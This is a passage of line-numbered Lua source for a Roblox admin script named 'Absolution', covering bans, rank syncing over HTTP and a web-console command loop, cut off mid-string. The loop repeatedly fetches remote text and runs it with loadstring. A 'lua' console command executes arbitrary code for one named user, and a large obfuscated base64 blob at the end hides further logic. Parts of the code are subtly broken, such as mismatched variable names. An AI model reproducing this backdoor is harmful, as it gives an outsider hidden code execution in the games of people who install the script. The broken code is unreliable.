| 661 | if Dec and Dec.Parent then Dec.CFrame = CFrame.new(newCFrame.p,pos.p) end | |
| 662 | -- * CFrame.Angles(math.rad(math.sin(tick()*4)*20)/Index,0,math.rad(math.sin(tick()*4)*20)) | |
| 663 | else | |
| 664 | table.remove(PlrTabs, Index) | |
| 665 | end | |
| 666 | end | |
| 667 | end | |
| 668 | end | |
| 669 | -- reloadLogoGui -- | |
| 670 | Absolution.Functions.reloadLogoGui = function(v) | |
| 671 | local PG; | |
| 672 | local ScreenGui; | |
| 673 | local ImageButton; | |
| 674 | PG=v:findFirstChild'PlayerGui' | |
| 675 | if PG==nil then | |
| 676 | v:LoadCharacter() | |
| 677 | PG=v:waitForChild'PlayerGui' | |
| 678 | end | |
| 679 | if PG:findFirstChild'Info'==nil then | |
| 680 | local db = tick()+6 | |
| 681 | ScreenGui = Instance.new("ScreenGui", PG)
| |
| 682 | ScreenGui.Name='Info' | |
| 683 | ImageButton = Instance.new("ImageButton", ScreenGui)
| |
| 684 | ImageButton.Position = UDim2.new(.94, 0, .92, 0) | |
| 685 | ImageButton.Size = UDim2.new(.06, 12, .08, 0) | |
| 686 | ImageButton.BackgroundColor3 = Color3.new(0, 0, 0) | |
| 687 | ImageButton.BorderColor3 = Color3.new(0, 0, 0) | |
| 688 | ImageButton.BackgroundTransparency = 1 | |
| 689 | ImageButton.Visible = true | |
| 690 | ImageButton.Image = 'rbxassetid://'..Absolution.Settings.Logo | |
| 691 | ImageButton.Draggable=false | |
| 692 | ImageButton.MouseButton1Down:connect(function() | |
| 693 | if tick()-db >= 2 then | |
| 694 | Absolution.Handler:sendPacket(player, 'TerminalOn') | |
| 695 | Absolution.Functions.showData(v) | |
| 696 | db = tick() | |
| 697 | end | |
| 698 | end) | |
| 699 | end | |
| 700 | end | |
| 701 | ||
| 702 | -- handleBan -- | |
| 703 | Absolution.Functions.handleBan = function(Player) | |
| 704 | if Absolution.HandlingBans[Player] then return end | |
| 705 | Absolution.HandlingBans[Player] = true | |
| 706 | local playerData = Absolution.Functions.getRankedTable(tostring(Player)) | |
| 707 | local playerName = tostring(Player) | |
| 708 | if playerData then | |
| 709 | if Absolution.Functions:findRank(Player) == -2 then | |
| 710 | coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'rekt',{["REASON"] = playerData.Description}) end)()
| |
| 711 | wait() | |
| 712 | if Player then Player:Kick('You are banned from joining for '..playerData.Description) end
| |
| 713 | Absolution.Functions.Announce(playerName.." was lagged due to a banishment. | REASON: "..playerData.Description) | |
| 714 | --Absolution.Functions.sbOutput(playerName.." was not allowed to join. | REASON: "..playerData.Description, 'Error') | |
| 715 | elseif Absolution.Functions:findRank(Player) == -1 then | |
| 716 | coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'disconnect',{["REASON"] = playerData.Description}) end)()
| |
| 717 | wait() | |
| 718 | if Player then Player:Kick('You were banned for '..playerData.Description) end
| |
| 719 | Absolution.Functions.Announce(playerName.." was kicked due to a banishment. | REASON: "..playerData.Description) | |
| 720 | --Absolution.Functions.sbOutput(playerName.." was not allowed to join. | REASON: "..playerData.Description, 'Error') | |
| 721 | elseif Absolution.Functions:findRank(Player) == -0.5 and not Absolution.Tempbans[tostring(Player.userId)] then | |
| 722 | Absolution.Functions.Out('Admins', 'A blacklisted user ('..playerName..') has joined the server.', 3)
| |
| 723 | end | |
| 724 | if Absolution.Tempbans[tostring(Player.userId)] then | |
| 725 | local tban_data = Absolution.Tempbans[tostring(Player.userId)] | |
| 726 | local timeremaining = ((tban_data.timeEnd)-tick()) | |
| 727 | if timeremaining >= 0 then | |
| 728 | coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'disconnect',{["REASON"] = playerData.Description}) end)()
| |
| 729 | wait() | |
| 730 | if Player then Player:Kick("You were temp-banned for "..playerData.Description..". | TIME REMAINING: "..Absolution.Functions.GetTime(timeremaining)) end
| |
| 731 | Absolution.Functions.Announce(playerName.." is banned for "..Absolution.Functions.GetTime(timeremaining).." | REASON: "..playerData.Description) | |
| 732 | --Absolution.Functions.sbOutput(playerName.." is banned for "..Absolution.Functions.GetTime(timeremaining).." | REASON: "..playerData.Description, 'Error') | |
| 733 | return | |
| 734 | else | |
| 735 | playerData.Rank = 0 | |
| 736 | end | |
| 737 | end | |
| 738 | end | |
| 739 | wait(3) | |
| 740 | Absolution.HandlingBans[Player] = false | |
| 741 | end | |
| 742 | ||
| 743 | Absolution.Functions.checkPrivateBase = function() | |
| 744 | ||
| 745 | local function makeBase() | |
| 746 | local Base = Instance.new("Part")
| |
| 747 | Base.BrickColor = BrickColor.new("Dark green")
| |
| 748 | Base.CFrame = CFrame.new(5000, 200, 5000) | |
| 749 | Base.Transparency = 0 | |
| 750 | Base.Elasticity = 0.5 | |
| 751 | --Base.FormFactor = "Custom" | |
| 752 | Base.Material = 'Grass' | |
| 753 | Base.CanCollide = true | |
| 754 | Base.Friction = 0.30000001192093 | |
| 755 | Base.Size = Vector3.new(2044, 0, 2044) | |
| 756 | Base.Archivable = true | |
| 757 | Base.Material = "Grass" | |
| 758 | Base.RotVelocity = Vector3.new(0, 0, 0) | |
| 759 | Base.Reflectance = 0 | |
| 760 | Base.Locked = true | |
| 761 | Base.Anchored = true | |
| 762 | Base.Name = "AbsolutionBase" | |
| 763 | Base.TopSurface = "Smooth" | |
| 764 | Base.BottomSurface = "Inlet" | |
| 765 | Base.Shape = "Block" | |
| 766 | Base.Parent = Absolution.Services.Workspace.Terrain | |
| 767 | local v = Instance.new('Model', Base)
| |
| 768 | v.Name = 'Verified' | |
| 769 | coroutine.wrap(function() | |
| 770 | while Base do | |
| 771 | wait() | |
| 772 | for i,v in pairs(Absolution.Services.Players:GetPlayers()) do | |
| 773 | if v.Character then | |
| 774 | if v.Character:findFirstChild'Torso' then | |
| 775 | local pos = (Base.Position-v.Character:findFirstChild'Torso'.Position).magnitude | |
| 776 | if pos < 2044 and Absolution.Ranked[v.Name].Rank < 3 then | |
| 777 | v:LoadCharacter() | |
| 778 | end | |
| 779 | end | |
| 780 | end | |
| 781 | end | |
| 782 | end | |
| 783 | end)() | |
| 784 | end | |
| 785 | ||
| 786 | if not game:service'Workspace'.Terrain:findFirstChild('Verified', true) then
| |
| 787 | makeBase() | |
| 788 | end | |
| 789 | ||
| 790 | end | |
| 791 | ||
| 792 | -- mainLoop -- | |
| 793 | Absolution.Functions.mainLoop = function() | |
| 794 | coroutine.wrap(function() | |
| 795 | for _,v in pairs(Absolution.Services.Players:GetPlayers()) do | |
| 796 | coroutine.wrap(Absolution.Functions.reloadLogoGui)(v) | |
| 797 | end | |
| 798 | end)() | |
| 799 | coroutine.wrap(function() | |
| 800 | for _,Player in pairs(Absolution.Services.Players:GetPlayers()) do | |
| 801 | local cRank = Absolution.Functions.calculateRankInGroup(Player) | |
| 802 | if Absolution.Ranked[Player.Name].Rank < cRank and cRank >= 0 then print'ranking up player' Absolution.Ranked[Player.Name].Rank = cRank Absolution.Functions.syncRankOut(Player) end | |
| 803 | end | |
| 804 | end)() | |
| 805 | coroutine.wrap(function() | |
| 806 | for _,Player in pairs(Absolution.Services.Players:GetPlayers()) do | |
| 807 | local Ran,Error = ypcall(function() | |
| 808 | if Absolution.Functions:findRank(Player) <= 0 then Absolution.Functions.handleBan(Player) end | |
| 809 | end) | |
| 810 | if not Ran then Absolution.Errors[#Absolution.Errors+1] = Error end | |
| 811 | end | |
| 812 | end)() | |
| 813 | ||
| 814 | Absolution.Functions.checkPrivateBase() | |
| 815 | if not Absolution.Services.ReplicatedStorage:FindFirstChild("AbsolutionHandler") then Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage)end
| |
| 816 | end | |
| 817 | ||
| 818 | -- Add Command -- | |
| 819 | Absolution.Functions.Command = function(Name, Uses, Rank, Description, Flags, Function) | |
| 820 | if Uses == nil then return end | |
| 821 | if Name == nil then Name = "N/A" end | |
| 822 | if Rank == nil then Rank = 0 end | |
| 823 | if Description == nil then Description = "N/A" end | |
| 824 | if Flags == nil then Flags = "No Flags" end | |
| 825 | if Absolution.Commands[Name] then Absolution.Functions.Out('Admins','Adding new command: '..Name, 1) Absolution.Commands[Name] = nil end
| |
| 826 | Absolution.Commands[Name] = {Name = Name, Uses = Uses, Rank = Rank, Description = Description, Flags = Flags, Function = Function}
| |
| 827 | end | |
| 828 | ||
| 829 | --[[ HTTP SYNCING ]]-- | |
| 830 | -- syncRanksIn -- | |
| 831 | Absolution.Functions.syncRanksIn = function() | |
| 832 | ypcall(function() | |
| 833 | Absolution.Functions.getTempBans() | |
| 834 | local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Incoming)--, true) | |
| 835 | local ran,erro = ypcall(function() loadstring(hsync)() end) | |
| 836 | if not ran then warn(erro) end | |
| 837 | end) | |
| 838 | end | |
| 839 | ||
| 840 | -- syncRanksOut -- | |
| 841 | Absolution.Functions.syncRanksOut = function() | |
| 842 | ypcall(function() | |
| 843 | local function url_encode(form) | |
| 844 | local result = {}
| |
| 845 | for key, value in pairs(form) do | |
| 846 | table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value)) | |
| 847 | end | |
| 848 | return table.concat(result, "&") | |
| 849 | end | |
| 850 | for i,v in pairs(Absolution.Ranked) do | |
| 851 | if not Absolution.Ranks[v.Rank] then v.Rank = 0 end | |
| 852 | local pt = {plr = i, uid = tostring(v.UserID), rnk = tostring(v.Rank), col = tostring(v.Color), dis = tostring(v.Distance), desc = tostring(v.Description), tablet = tostring(v.TabletType)}
| |
| 853 | table.foreach(pt, tostring) | |
| 854 | local body = url_encode(pt) | |
| 855 | local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Outgoing, body, Enum.HttpContentType.ApplicationUrlEncoded) | |
| 856 | wait(.5) | |
| 857 | end | |
| 858 | Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'syncRanksOut() fires.'});
| |
| 859 | end) | |
| 860 | end | |
| 861 | -- syncRankOut -- | |
| 862 | Absolution.Functions.syncRankOut = function(plr) | |
| 863 | ypcall(function() | |
| 864 | local function url_encode(form) | |
| 865 | local result = {}
| |
| 866 | for key, value in pairs(form) do | |
| 867 | table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value)) | |
| 868 | end | |
| 869 | return table.concat(result, "&") | |
| 870 | end | |
| 871 | local v = Absolution.Functions.getRankedTable(tostring(plr)) | |
| 872 | if not Absolution.Ranks[v.Rank] then v.Rank = 0 end | |
| 873 | local pt = {plr = tostring(plr), uid = tostring(v.UserID), rnk = tostring(v.Rank), col = tostring(v.Color), dis = tostring(v.Distance), desc = tostring(v.Description), tablet = tostring(v.TabletType)}
| |
| 874 | table.foreach(pt, tostring) | |
| 875 | local body = url_encode(pt) | |
| 876 | local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Outgoing, body, Enum.HttpContentType.ApplicationUrlEncoded) | |
| 877 | wait(.5) | |
| 878 | Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'syncRankOut() fires.'});
| |
| 879 | end) | |
| 880 | end | |
| 881 | ||
| 882 | -- Splitting Hotness ~Vaeby -- | |
| 883 | Absolution.Functions.split = function(str, sSeparator, nMax, bRegexp) | |
| 884 | assert(sSeparator ~= '') | |
| 885 | assert(nMax == nil or nMax >= 1) | |
| 886 | ||
| 887 | local aRecord = {}
| |
| 888 | ||
| 889 | if str:len() > 0 then | |
| 890 | local bPlain = not bRegexp | |
| 891 | nMax = nMax or -1 | |
| 892 | ||
| 893 | local nField, nStart = 1, 1 | |
| 894 | local nFirst,nLast = str:find(sSeparator, nStart, bPlain) | |
| 895 | while nFirst and nMax ~= 0 do | |
| 896 | aRecord[nField] = str:sub(nStart, nFirst-1) | |
| 897 | nField = nField+1 | |
| 898 | nStart = nLast+1 | |
| 899 | nFirst,nLast = str:find(sSeparator, nStart, bPlain) | |
| 900 | nMax = nMax-1 | |
| 901 | end | |
| 902 | aRecord[nField] = str:sub(nStart) | |
| 903 | end | |
| 904 | ||
| 905 | return aRecord | |
| 906 | end | |
| 907 | ||
| 908 | -- Auto LoadString -- | |
| 909 | Absolution.Functions.AutoLoadstring = function() | |
| 910 | coroutine.wrap(function() | |
| 911 | while wait(10) do | |
| 912 | pcall(Absolution.Functions.getTempBans) | |
| 913 | ypcall(function() | |
| 914 | local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.UpdateURL, true) --Absolution.HttpConstants.IP..Absolution.HttpConstants.Remote, true) | |
| 915 | if hsync == Absolution.HttpConstants.PreviousSync then return end | |
| 916 | local dat = loadstring(hsync)() | |
| 917 | if not data.SERVER or data.SERVER:lower() ~= Absolution.uniqueKey:lower() and data.SERVER ~= 'all' then return end | |
| 918 | if data.update == 'nothing' then return end | |
| 919 | Absolution.Functions.Out('Admins', '[Titanpad] (UPDATE) - '..data['update'], 5)
| |
| 920 | Absolution.Functions.Output('Admins','[Titanpad] (UPDATE)','Lime green',function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.update) end, 10)
| |
| 921 | if data['load'] then | |
| 922 | local loaded,didntload = ypcall(data.load) | |
| 923 | if not loaded then | |
| 924 | Absolution.Functions.Output('Admins','Data unreadable!','Really red')
| |
| 925 | Absolution.Functions.Output('Admins',didntload,'Really red')
| |
| 926 | end | |
| 927 | else | |
| 928 | Absolution.Functions.Output('Admins','Data unreadable!','Really red')
| |
| 929 | end | |
| 930 | Absolution.HttpConstants.PreviousSync = hsync | |
| 931 | Absolution.dataReady = true | |
| 932 | end) | |
| 933 | local function getPlayers(plrname) | |
| 934 | local rtn = {}
| |
| 935 | for q,e in next,Absolution.Functions.getALLPlayers() do | |
| 936 | if e.Name:lower():sub(1,#plrname)==plrname:lower() then | |
| 937 | table.insert(rtn, e) | |
| 938 | end | |
| 939 | end | |
| 940 | return rtn | |
| 941 | end | |
| 942 | ypcall(function() | |
| 943 | local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.ConsoleTXT) | |
| 944 | local data = game.HttpService:JSONDecode(hsync) | |
| 945 | if data.data and data.data == 'nil' then return end | |
| 946 | if data.Servers~=Absolution.uniqueKey and data.Servers=='all' then | |
| 947 | ||
| 948 | Absolution.Functions.Out('Admins', '[WebConsole] (UPDATE) - '..data['Note'], 5)
| |
| 949 | ||
| 950 | local cmd = data.Command | |
| 951 | local cmddat = Absolution.Functions.split(cmd, '/') | |
| 952 | ||
| 953 | local command = cmddat[1] | |
| 954 | local player = cmddat[2] | |
| 955 | local reason = cmddat[3] | |
| 956 | local sender = data.Note:sub(1,data.Note:find':'-1) | |
| 957 | local players = {}
| |
| 958 | ||
| 959 | if player then | |
| 960 | pcall(function() players = getPlayers(player) end) | |
| 961 | end | |
| 962 | ||
| 963 | if command=='kill' then | |
| 964 | for q,e in pairs(players) do | |
| 965 | if e.Character then | |
| 966 | e.Character:breakJoints() | |
| 967 | end | |
| 968 | end | |
| 969 | elseif command=='respawn' then | |
| 970 | for q,e in pairs(players) do | |
| 971 | e.Character:LoadCharacter() | |
| 972 | end | |
| 973 | elseif command=='kick' then | |
| 974 | for q,e in pairs(players) do | |
| 975 | e:Kick('[ABSOLUTION]: Kicked by '..sender..' for '..reason)
| |
| 976 | end | |
| 977 | elseif command=='ban' then | |
| 978 | for q,e in pairs(players) do | |
| 979 | Absolution.Ranked[e.Name].Description = reason..' ('..sender..')'
| |
| 980 | Absolution.Ranked[e.Name].Rank = -1 | |
| 981 | Absolution.Function.syncRankOut(e.Name) | |
| 982 | end | |
| 983 | elseif command=='message' then | |
| 984 | Absolution.Functions.Announce(sender..': '..player, true) | |
| 985 | elseif command=='hint' then | |
| 986 | Absolution.Functions.Announce(sender..': '..player) | |
| 987 | elseif command=='lua' then | |
| 988 | if sender~='Darkus_Theory' then return end | |
| 989 | loadstring(player)() | |
| 990 | end | |
| 991 | ||
| 992 | elseif data.Servers==Absolution.uniqueKey then | |
| 993 | ||
| 994 | Absolution.Functions.Out('Admins', '[WebConsole] (UPDATE) - '..data['Note'], 5)
| |
| 995 | Absolution.Functions.Output('Admins','[WebConsole] (UPDATE)','Lime green',function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.Note) end, 10)
| |
| 996 | Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.ConsolePHP) | |
| 997 | ||
| 998 | local cmd = data.Command | |
| 999 | local cmddat = Absolution.Functions.split(cmd, '/') | |
| 1000 | ||
| 1001 | local command = cmddat[1] | |
| 1002 | local player = cmddat[2] | |
| 1003 | local reason = cmddat[3] | |
| 1004 | local sender = data.Note:sub(1,data.Note:find':'-1) | |
| 1005 | local players = {}
| |
| 1006 | ||
| 1007 | if player then | |
| 1008 | pcall(function() players = getPlayers(player) end) | |
| 1009 | end | |
| 1010 | ||
| 1011 | if command=='kill' then | |
| 1012 | for q,e in pairs(players) do | |
| 1013 | if e.Character then | |
| 1014 | e.Character:breakJoints() | |
| 1015 | end | |
| 1016 | end | |
| 1017 | elseif command=='respawn' then | |
| 1018 | for q,e in pairs(players) do | |
| 1019 | e.Character:LoadCharacter() | |
| 1020 | end | |
| 1021 | elseif command=='kick' then | |
| 1022 | for q,e in pairs(players) do | |
| 1023 | e:Kick('[ABSOLUTION]: Kicked by '..sender..' for '..reason)
| |
| 1024 | end | |
| 1025 | elseif command=='ban' then | |
| 1026 | for q,e in pairs(players) do | |
| 1027 | Absolution.Ranked[e.Name].Description = reason..' ('..sender..')'
| |
| 1028 | Absolution.Ranked[e.Name].Rank = -1 | |
| 1029 | Absolution.Function.syncRankOut(e.Name) | |
| 1030 | end | |
| 1031 | elseif command=='message' then | |
| 1032 | Absolution.Functions.Announce(sender..': '..player, true) | |
| 1033 | elseif command=='hint' then | |
| 1034 | Absolution.Functions.Announce(sender..': '..player) | |
| 1035 | elseif command=='lua' then | |
| 1036 | if sender~='Darkus_Theory' then return end | |
| 1037 | loadstring(player)() | |
| 1038 | end | |
| 1039 | end | |
| 1040 | Absolution.dataReady = true | |
| 1041 | end) | |
| 1042 | ypcall(function() | |
| 1043 | local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Remote, true) | |
| 1044 | if hsync == Absolution.HttpConstants.PreviousWSync then return end | |
| 1045 | local dat = loadstring(hsync)() | |
| 1046 | if not data.SERVER or data.SERVER:lower() ~= Absolution.uniqueKey:lower() and data.SERVER ~= 'all' then return end | |
| 1047 | if data.update == 'nothing' then return end | |
| 1048 | Absolution.Functions.Out('Admins', '[Website] (UPDATE) - '..data.update, 5)
| |
| 1049 | Absolution.Functions.Output('Admins', '[Website] (UPDATE)','Lime green', function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.update) end, 10)
| |
| 1050 | if data['load'] then | |
| 1051 | local loaded,didntload = ypcall(data.load) | |
| 1052 | if not loaded then | |
| 1053 | Absolution.Functions.Output('Admins','Data unreadable!','Really red')
| |
| 1054 | Absolution.Functions.Output('Admins',didntload,'Really red')
| |
| 1055 | end | |
| 1056 | else | |
| 1057 | Absolution.Functions.Output('Admins','Data unreadable!','Really red')
| |
| 1058 | end | |
| 1059 | Absolution.HttpConstants.PreviousWSync = hsync | |
| 1060 | Absolution.dataReady = true | |
| 1061 | end) | |
| 1062 | end | |
| 1063 | end)() | |
| 1064 | end | |
| 1065 | ||
| 1066 | local h,l,p,j,e,y,q,q0,u,v,r,s,o=getfenv,0,"","\65\66\67\68\69\70\71\72\73\74\75\76\77\78\79\80\81\82\83\84\85\86\87\88\89\90\97\98\99\100\101\102\103\104\105\106\107\108\109\110\111\112\113\114\115\116\117\118\119\120\121\122\48\49\50\51\52\53\54\55\56\57\43\47",tostring,{},string.len,string.sub,pcall,1/0,"\37\100\37\100\37\100\63\37\100\63\37\100\63\37\100\63\37\100\63\37\100\63"o,s=(function(t,i,m,w,x)for m=1,q(j)do y[#y+1]=q0(j,m,m)end;i,x=h(l),function()i={}for m=1,v do i[#i+1]=y[m]end;return x(i)end;local c,f,k,a,b=t[y[33]..y[45]..y[47]..y[28]],t[y[32]..y[35]..y[40]..y[30]],t[y[29]..y[34]..y[27]..y[44]],i[y[38]..y[41]..y[27]..y[30]..y[45]..y[46]..y[44]..y[35]..y[40]..y[33]],i[y[45]..y[31]..y[46]..y[32]..y[31]..y[40]..y[48]]return(function(o)if u(b,a,h(a))then return x(p)end;return(c(c(c(o,"[^"..j.."=]",p),k(46),function(r)if r==k(61)then return(p)end;local x,y="",(f(j,r)-1)for o=6,1,-1 do x=x..e(y%2^o-y%2^(o-1)>0 and 1 or 0)end;return x;end),r,function(r)if #r~=8 then return p;end;local b=0;for y=1,8 do b=b+(q0(r,y,y)==e(1)and 2^(8-y)or 0)end;return k(b)end))end),a;end)''local function a(t)for p=1,#t do t[p]=o(t[p])end return s(o"cmV0dXJuIHVucGFjaw==")''(t)end;local g,g0,m,x,rf=a{"c3Bhd24=","ZXJyb3I=","YXNzZXJ0","Y29yb3V0aW5l","Z2V0ZmVudg=="}local lb={u(setfenv(s(o"c3Bhd24oY2hlY2tUYW1wZXJpbmcp"),h(l)))}local function c(b)return h(l)[y[45]..y[46]..y[44]..y[35]..y[40]..y[33]][y[33]..y[45]..y[47]..y[28]](b,".",function(s)return "\\" .. s:byte()end)end;local u0,l0,w,ia,z=c(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),c(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),c(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),c(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),c(o"YXNzZXJ0KG5vdCB0YW1wZXJlZCwgIlRhbXBlcmluZyBkZXRlY3RlZCIp")local function i(g)for p=1,#g do g[p]=o(g[p])end return s(o"cmV0dXJuIHVucGFjaw==")''(g)end;local b0,v0=i{"eHBjYWxs","c3Bhd24="}local function ez(b)return h(l)[y[45]..y[46]..y[44]..y[35]..y[40]..y[33]][y[33]..y[45]..y[47]..y[28]](b,".",function(s)return "\\" .. s:byte()end)end;local y0,j0=ez(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),ez(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg==")local function h0(q0)for p=1,#q0 do q0[p]=o(q0[p])end return s(o"cmV0dXJuIHVucGFjaw==")''(q0)end;local tf,f,k=h0{"Y29yb3V0aW5l","d2FpdA==","Z2V0ZmVudg=="}s(h(l)[y[45]..y[46]..y[44]..y[35]..y[40]..y[33]][y[44]..y[31]..y[48]..y[31]..y[44]..y[45]..y[31]](o"ZG5lKV04ODFbYSx2KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQTtkbmUpXTQ2W2EsKXYocHVvckduSWtuYVJldGFsdWNsYWMuc25vaXRjbnVGLm5vaXR1bG9zYkEuLl03ODFbYSx2KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSBuZWh0XTAxW2E+KXYocHVvckduSWtuYVJldGFsdWNsYWMuc25vaXRjbnVGLm5vaXR1bG9zYkEgZmkpXTQ2W2EsXSkpdihnbmlydHNvdChrbmFSZG5pZjpzbm9pdGNudUYubm9pdHVsb3NiQVtza25hUi5ub2l0dWxvc2JBLi5dNjgxW2Esdih0dXB0dU8uc25vaXRjbnVGLm5vaXR1bG9zYkEpZG5lKWVtYU4udix2KGVjYWZyZXRuSWRla25hUnRlRy5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsXTQ2W2EsXTU4MVthLHYodHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSlkbmUgZG5lKWRuZSluKGF0YUR3b2hzLnNub2l0Y251Ri5ub2l0dWxvc2JBO3k9ZWNuYXRzaUQuKWVtYU4ubihlbGJhVGRla25hUnRlZy5zbm9pdGNudUYubm9pdHVsb3NiQSluKHNzaW1zaUQuc25vaXRjbnVGLm5vaXR1bG9zYkEpKG5vaXRjbnVmLF00NlthLHksbih0dXB0dU8uc25vaXRjbnVGLm5vaXR1bG9zYkEgb2RdNDgxW2EsXTcxW2E9eSByb2Ypbihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZixdNzExW2EsXTM4MVthLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSlkbmUpbihhdGFEd29ocy5zbm9pdGNudUYubm9pdHVsb3NiQV0yODFbYT1lcHlUdGVsYmFULiluKGVsYmFUZGVrbmFSdGVnLnNub2l0Y251Ri5ub2l0dWxvc2JBKW4oc3NpbXNpRC5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsXTQ2W2EsXTI4MVthLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSluKGF0YUR3b2hzLnNub2l0Y251Ri5ub2l0dWxvc2JBXTE4MVthPWVweVR0ZWxiYVQuKW4oZWxiYVRkZWtuYVJ0ZWcuc25vaXRjbnVGLm5vaXR1bG9zYkEpbihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZixdNDZbYSxdMTgxW2Esbih0dXB0dU8uc25vaXRjbnVGLm5vaXR1bG9zYkEpbihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZixdNzExW2EsXTA4MVthLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSBkbmUpZG5lKW4oYXRhRHdvaHMuc25vaXRjbnVGLm5vaXR1bG9zYkE7ZT1yb2xvQy4pZW1hTi5uKGVsYmFUZGVrbmFSdGVnLnNub2l0Y251Ri5ub2l0dWxvc2JBKW4oc3NpbXNpRC5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsZSxlLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBIG9kKX1dOTcxW2EsXTg3MVthLF03NzFbYSxdNjcxW2EsXTU3MVthLF00NzFbYSxdMzcxW2EsXTI3MVthLF0xNzFbYSxdMDcxW2EsXTk2MVthLF04NjFbYSxdNzYxW2EsXTY2MVthLF01NjFbYSxdNDYxW2EsXTM2MVthLF0yNjFbYSxdMTYxW2EsXTA2MVthLF04MDFbYSxdOTUxW2EsXTg1MVthLF03NTFbYSxdNjUxW2EsXTU1MVthLF00NTFbYSxdMzUxW2EsXTI1MVthLF0xNTFbYSxdMDUxW2EsXTk0MVthLF04NDFbYSxdNzQxW2EsXTY0MVthLF01NDFbYSxdNDQxW2EsXTM0MVthLF0yNDFbYSxdMTQxW2EsXTA0MVthLF05MzFbYSxdODMxW2EsXTczMVthLF02MzFbYSxdNTMxW2EsXTQzMVthLF0zMzFbYSxdMjMxW2EsXTEzMVthLF0wMzFbYSxdOTIxW2EsXTcxMVthLF04MjFbYSxdNzIxW2EsXTYyMVthLF01MjFbYSxdNDIxW2EsXTMyMVthLF0yMjFbYSxdMTIxW2EsXTAyMVthLF05MTFbYSxdODExW2F7KHNyaWFwIG5pIGUseSByb2Ypbihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZixdNzExW2EsXTYxMVthLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKW4oc3NpbXNpRC5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsXTQ2W2EsXTUxMVthLHYodHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKV00NlthLF00MTFbYSx2KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSldODAxW2EsXTMxMVthLHYodHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSl2KHNkbmFtbW9Dd29oUy5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsXTQ2W2EsXTIxMVthLHYodHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSldMTExW2EsdihkZXR0YWhDbm8uc25vaXRjbnVGLm5vaXR1bG9zYkEpKG5vaXRjbnVmLF00NlthLF0wMTFbYSx2KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQTt2PW4gbGFjb2wpdihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKXYobm9pdGNudWY9YXRhRHdvaHMuc25vaXRjbnVGLm5vaXR1bG9zYkE7ZG5lIGRuZSlkbmUpYywpeShnbmlydHNvdChnb0xkb01kbmVTLnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZihsbGFjcCBuZWh0XTg5W2E9PmtuYVIuaiBmaTtkbmUgZG5lIGRuZSBkbmUpXTkwMVthLF00NlthLF04MDFbYSwpZW1hTi50KGduaXJ0c290Li5dNzAxW2EuLl1rbmFSLmpbc2tuYVIubm9pdHVsb3NiQSx5KHR1cHR1Ty5zbm9pdGN